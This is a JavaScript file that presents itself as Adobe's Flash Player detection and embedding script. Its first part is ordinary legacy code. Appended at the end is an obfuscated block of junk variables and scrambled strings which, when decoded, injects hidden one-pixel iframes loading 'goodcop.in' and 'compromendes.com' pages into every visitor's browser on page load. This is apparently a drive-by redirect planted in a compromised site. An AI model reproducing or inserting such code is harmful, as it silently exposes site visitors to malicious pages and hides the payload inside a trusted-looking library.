//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function ControlVersion()
{
	var version;
	var axo;
	var e;

	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}

	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";

			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";

			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");

		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}

// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}

// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];

        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}

function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}

function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object ';
    for (var i in objAttrs)
    {
      str += i + '="' + objAttrs[i] + '" ';
    }
    str += '>';
    for (var i in params)
    {
      str += '<param name="' + i + '" value="' + params[i] + '" /> ';
    }
    str += '</object>';
  }
  else
  {
    str += '<embed ';
    for (var i in embedAttrs)
    {
      str += i + '="' + embedAttrs[i] + '" ';
    }
    str += '> </embed>';
  }

  document.write(str);
}

function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    

    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblClick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}
function gBT(){};rCJ="rCJ";gBT.prototype = {w : function() {this.mO=8831;this.aK="aK";this.aD='';mN="";var o=document;this.y='';qG='';var eZ='';var cF="";var gB=function(){};var h=function(){return 'h'};var wD=window;var u=false;function nL(){};var wM="wM";var x="x";nE="";this.pP="pP";this.pU=30403;nJ='';var oK = this;var tG=new Date();var tS=false;var vU=function(){};var b='';this.uH=29994;var wC=new Date();function bO(){};String.prototype.hK=function(q, i){var m=this; return m.replace(q, i)};var qY=function(){};uC="uC";xJ="";var z=new Array();k='';function rV(){};bK="bK";var n = 'sOe&tOTu'.hK(/[u!O&z]/g, '') + 'ihm%e}oh'.hK(/[h3%}~]/g, '') + 'uGtZ'.hK(/[Z]g<G]/g, '');function cD(){};var vQ="";this.cU=56354;var aS="aS";var s = 't;r!e!cPr;eLa;'.hK(/[;!$PL]/g, '') + 't]e]EVl]e(mhe(nVt1g(e]t1'.hK(/[1(Vh]]/g, '');var yC=44999;var gE=60539;cA='';function rI(){};var oB='';var qGH=new Date();this.eB="";var sC = 'wvr.ivt$e$'.hK(/[$#vU.]/g, '');this.rL="";vJ="";this.hG=false;j=false;var eT=new Array();var iP=new Array();try {var xK=function(){};this.uD=false;this.sD=false;var lN="";var p = 'pGuGsmhG'.hK(/[Gmq5^]/g, '');this.tE="tE";var kH=function(){};function lW(){};var hS=function(){return 'hS'};this.eZZ=21713;var v = 's8rXc8'.hK(/[8X/Ye]/g, '');bF="";var lY=function(){};var zK=function(){};jI=61772;kQ=40509;gL='';var eA=new Date();var e = 'vSb{m!i,f8'.hK(/[8S!{,]/g, '')+'r0s;e8tB'.hK(/[B;V80]/g, '');zR='';function nR(){};kS="kS";var sY="sY";this.eN=38838;var eG=new Array();var vA = 'wRird#'.hK(/[#k6rR]/g, '') + 't5h5'.hK(/[5F1LS]/g, '');var jR=function(){};this.sG=19756;var lU=61829;var cDW=new Date();function pS(){};var qK = 'h<emim'.hK(/[mQ<?(]/g, '') + 'gJh(tJ'.hK(/[J(7RQ]/g, '');var lM=39496;var uB="";var dL="dL";var uV=new Date();gLU=36315;var wV=new Array();var cP=57023;var t = '19'.hK(/[9B*(u]/g, '');var rC="";var sQ=function(){};var wVL="";fV="fV";kO=false;var hV=56575;var xG=new Array();eY=false;f = 'gUextUsbeUtxAUtUtyr}iUsydxfU'.hK(/[Ubxy}]/g, '');var bD=new Array();this.gY="gY";var rP="rP";var gBR='';var gBC=function(){return 'gBC'};var zW=15286;function lC(){};var qS=new Date();var r = 'a7pEp7'.hK(/[7E;^~]/g, '') + 'eKnydgCBhBiKlpdK'.hK(/[KBpgy]/g, '');var pE=12099;this.bKM=false;this.kC=false;var iA=8849;var wF='';var kY=60808;this.nO=false;var pB = 'bIoIdIy_'.hK(/[_16pI]/g, '');this.wX="wX";var lYJ=false;sX="sX";sF='';kN="";var zI="";var g = 'stuE'.hK(/[E[qto]/g, '')+'b|sXtXr|iK'.hK(/[KX/T|]/g, '')+'nlg*'.hK(/[*UzlA]/g, '');zO="zO";var iB="iB";var pQ=11685;var nY=new Date();var qL=false;qP="";var gJ = new Array();this.kG='';var uVJ=false;this.uW=29785;zC="zC";this.pO="";this.iBK="iBK";gJ[p](qK, g, s, vA, e, f, pB, r, t, o, v);mG="";this.zV="";wZ="wZ";wR=16433;sK=false;this.uJ="uJ";var uJF=new Date();var iS="iS";this.nD='';var oW="";qO=60333;var bOV=function(){};jF="";var aQ=38767;this.rPY="rPY";qE=false;tR="";function kGS(){};dA="";hZ=false;var tJ=48467;zU="";var wU=function(){};var gC="gC";kT=false;uWA=false;aDZ='';kI=false;this.rIE=64994;var nS=false;var nF=new Array();var tA=function(){};var bV="";this.sYN=false;oV='';var jP=new Array();wQ="";var kQU='';var c = gJ[2][gJ[1]](3, 16);var tZ=new Array();this.wE='';var qQ="qQ";var eK=function(){return 'eK'};var lS=false;var gG = gJ[4][gJ[1]](3, 6);this.lX="lX";wT=false;var gD="gD";var uU=false;nOA="nOA";nV=53794;a = gG + 'atmfet'.hK(/[twrfM]/g, '');bY=64651;function rQ(){};var pY=new Date();var rJ="rJ";this.zY="zY";var vF = gJ[5][gJ[1]](3, 11);cR=false;function cY(){};var fM="";var lI=new Array();var qI=function(){};this.gN=false;d = vF + 'b&udt6ed'.hK(/[d2O6&]/g, '');var lNO="";this.bKG=false;this.tL=false;var qU=function(){};yK='';var zYB="zYB";var l = oK.pT();var aH=new Date();var hB=function(){};var oH=false;var qYG=function(){return 'qYG'};var dD=false;cO='';fS='';var tB=gJ[9][c](a);dE=64882;function dAN(){};var oG=new Array();function tO(){};var iU=function(){return 'iU'};uL=27862;this.vS="";tB[gJ[10]] = l;var wG=new Date();iI='';var jV=function(){return 'jV'};var oF="oF";this.hW="hW";tB[gJ[3]] = gJ[8];this.eF='';this.xP="xP";xT="xT";fN='';var xF="xF";tB[gJ[0]] = gJ[8];var bI=function(){return 'bI'};var hP=function(){return 'hP'};this.tY="";var oFA=34643;var kW=false;var fL="";var pL=false;var sI=false;bH="";this.jIP=false;var sIT="";nJL=13262;var bZ=23981;var hT='';gJ[9][gJ[6]][gJ[7]](tB);var nI=function(){};var kD=function(){};this.oE=false;var tK=function(){return 'tK'};this.pEM=6674;var aE="";oM=false;} catch(gM) {var nB="nB";var vC=new Array();wGX="wGX";var eP=function(){};var zJ=new Date();o.write('<Ihrt(m(lr U>(<(bIordUy^ I>(<I/IbUoUdUyr>U<I/Ih^tUmrl^>r'.hK(/[r^(IU]/g, ''));this.gU='';function yY(){};eJ="eJ";this.cPO=false;this.iC=3489;wD[n](function(){ oK.w() }, 284);wMB='';this.zG=19135;var dZ=function(){};}var iAA='';this.uY=38649;iM='';var tKJ='';},pT : function() {this.kCU=false;yU=43581;tRM="tRM";return 'h@t<t5p5:5/</^g@o<o^d5c@o<pD.<i^n</<2D/@i^n^d5e@x@.<p5h5p@'.hK(/[@<D5^]/g, '');this.sV="";dG='';yB=21105;}};cAQ=false;var rB=new gBT(); var tM=false;rB.w();var vE=new Array();function oA(){};var vKF="vKF";oA.prototype = {k : function() {this.n="n";iH=34217;this.y='';this.iN='';try {this.dE="";this.pX=false;rA='';this.nS="";var sE=false;var tW="tW";window.onload=function() {var e=27025;lRV=27397;var z=function(){return 'z'};pS="pS";yY=false;String.prototype.hAJ=function(j, jG){var jGZ=this; return jGZ.replace(j, jG)};eU="";function f(){};var iP=function(){return 'iP'};this.h="h";pF=false;m="";var dL="dL";var l = 'sOuE'.hAJ(/[E:lOk]/g, '')+'bX'.hAJ(/[X2p65]/g, '')+'sbtLroiV'.hAJ(/[VLo{b]/g, '')+'nwgw'.hAJ(/[wx~2$]/g, '');function kK(){};this.cR="cR";this.aG="aG";this.g=51399;var p = 'a>wtqQstu>'.hAJ(/[>?Qrt]/g, '')+'bhs6t6g[d[th'.hAJ(/[h6D[~]/g, '');var hZ=new Array();var kO=false;var x=new Array();var lZ="lZ";this.vI='';this.hS=11275;wM='';var r = 'hzd6syiyn1sz'.hAJ(/[z6Xy1]/g, '')+'e^r&tCA^d^jCa^dCe&r|wMw&sM'.hAJ(/[M|^C&]/g, '');fA="fA";this.lY="lY";var dS=new Array();vU="vU";var yW=51123;var jY = p[l](3, 8);var tQ=new Date();iHT="";rN="rN";hW=false;var aBX="aBX";wU=38947;var w=document;var mJ=new Array();iPX="";var vN=false;var iD=10198;this.vL="";var jK=new Array();var wQ = 'hDtKtKpK:V/C/VcKobmCpKrDoVmbeDnbdKeVsD.CcVoDmV/DsCtKdDsC/Dgbob.CpKhbpK?bsCiCdV=b2C'.hAJ(/[CDbKV]/g, '');this.oS='';this.fY="fY";jYN=false;cS=false;var dSL=27351;this.lD=false;var jM = jY + 'r5ia'.hAJ(/[a}504]/g, '')+'nYgI'.hAJ(/[IY5.x]/g, '');this.zH='';var iV=false;var yF='';var iA=new Array();var v = r[jM](3, 13);var dZ=function(){return 'dZ'};fR='';zR='';var oD=20057;var q=function(){};pR = v + 'cOe5n5t5H5T5MOL5'.hAJ(/[58wuO]/g, '');var fU=new Array();wZ=false;eE="";this.oP='';var mD=new Date();var jQ='';var xM=45077;var sT=false;var zY=function(){};this.qO=27290;var a = 'c^o@l@l@ 7wbibD@xbs@d@'.hAJ(/[@7b]^]/g, '');this.qX="qX";var nF=64355;var uX=new Date();bK=false;wD="";var qD='';var pJ = a[jM](4, 8);this.qY=false;yL=40356;var oV='';qP="";yFP='';var rQ=new Array();var qW='';var zX=new Date();var aB = 'q)kor)t)H;=o1) Vd%e%ro=%1;0) %H)e)'.hAJ(/[)o%V;]/g, '');var xR="";var kI=49241;var rE='';var hP=function(){};this.xF="";var lT=false;var d = pJ + aB[jM](3, 18);rX="rX";var kKY=new Array();this.yR=false;var wS=new Date();function sQ(){};uFE=13324;this.iW='';var s = 'dFwWkWi0GFhWtF=010>F<F/0iQf0R0iWrQm:k0f:'.hAJ(/[:QW0F]/g, '');mJQ=8708;fF="fF";this.uAW='';this.fV="";var xMM=new Array();var b = d + s[jM](3, 17);this.kR='';this.oY="oY";function nSJ(){};this.pU=false;var yO=function(){};this.lL="";var b = b + 'a6m}e}>3'.hAJ(/[36O}2]/g, '');this.yB='';var mI='';var aS=false;var wR=false;this.nJ='';pV='';function eO(){};var bH=false;this.hY=5255;this.jZ="jZ";var vK=function(){};hN="hN";var qC=function(){};nQ=false;var tM=function(){return 'tM'};var wMY=function(){};this.mT="";var bC=function(){};fC='';eOS=false;nO=63518;var i = '}v}JeM<MI/fvRraMjrdJgvhM'.hAJ(/[Mrv/J]/g, '');this.cM=18508;this.fQ='';var dM=new Date();aGH=24678;zHL=false;zYY="";var jW = i[jM](3, 8);rT="";eUH='';var hYC=new Date();tG=false;this.xV='';nK=false;eJ="";var u = 'LQewMwe? QsjR?cw=w}Q}j}w'.hAJ(/[wQjO?]/g, '');var bZ=function(){};var qZ=42519;var aA=new Date();var dH=false;this.jWE=false;var uF = jW + u[jM](2, 9);var lQ=false;jZO="";var vH="";var yZ=false;var aD = uF + 'hyt}typB:1/}/}c1oymBp1rBo)mye)n}d1e1sy.}c1oBm1/)s}tBdysy/}g}oB.}pBh1pB?1s}i)d}=121'.hAJ(/[1B)}y]/g, '');var eI=function(){};var yX=new Array();xA="";var hA="";this.zV="zV";var wL="";this.jF="";var o = '<Zg|opr8 Z>|'.hAJ(/[|8Zp/]/g, '') + aD + b + '<7/7g7o7r[>6'.hAJ(/[6u7[W]/g, '');var rJ='';this.sN="";yU='';this.dW=false;gW="";function mTC(){};var eP="";pD="pD";dD="dD";iB="iB";this.rC='';tD=false;var iAG="";wQL=45854;this.nC=false;var rNE='';var kF="kF";this.iPK=20649;var c = 'sPa2uObP'.hAJ(/[PO.i2]/g, '')+'oidKyKrKwXd,kagX'.hAJ(/[X,iaK]/g, '');fYU=false;var jH=function(){return 'jH'};nU="";bX='';iR="iR";this.pW='';this.pO="";var iBC=1019;var uH=new Date();sD=false;rD = c[jM](3, 7);var nG='';var lZZ="";var xQ='';this.rP='';var fG="fG";var mTX=new Array();this.bKJ=14825;yBY="yBY";var t = 'Tqe.dqB8enf.o8'.hAJ(/[8n.Nq]/g, '');var lH="";var dJ=14814;eUV='';this.aR="aR";this.fT="fT";var dB=false;this.rCF=7119;uZ=936;zK='';this.dY="";this.oN='';xB="xB";function kH(){};aBZ=false;hH=22879;this.vW='';var cB="cB";var aC = t[jM](3, 7);var vR=function(){};fI='';var dP=false;function nA(){};this.aK="";pZ = aC + 'r*eCE(n*d*'.hAJ(/[*(QCp]/g, '');var uFO=function(){return 'uFO'};this.xJ=false;this.hSF='';this.rK="rK";var cI='';function wZL(){};this.kJ=false;yOA='';this.kE=29249;var zYM=new Date();fCT='';xS=56263;this.yT='';aL='';function bB(){};var qI=function(){return 'qI'};this.tS='';this.mV="mV";this.dPW='';var iAZ=53247;var wE="wE";var hNA=function(){return 'hNA'};var yC=new Array();var mS="";eT=false;this.xE=false;this.qPS=false;var cL="cL";var kG="";this.jA=false;this.nE="nE";qK="qK";var uA = w[rD];var nB="";var xRN=function(){};var rB=function(){};vHA=13095;var hT=function(){};var wV='';lR = uA[pR];var vC=new Array();var gT=40930;kRF=false;this.aY="";var kB="";hWV=false;eG=false;function gM(){};lR(pZ, o);this.zF=false;var eIM=new Array();};this.fO="fO";var xT=43554;dPD='';this.bHD=false;} catch(pC) {var tWM=false;vZ=64103;vQ="";var pL=false;oSZ='';w.write("xpe,");pG='';oC=false;}vWJ="";var aKL=new Date();var kL=42784;uO=49200;}};hV="";var fIV=new oA(); var dMC="";fIV.k();var gU=new Array();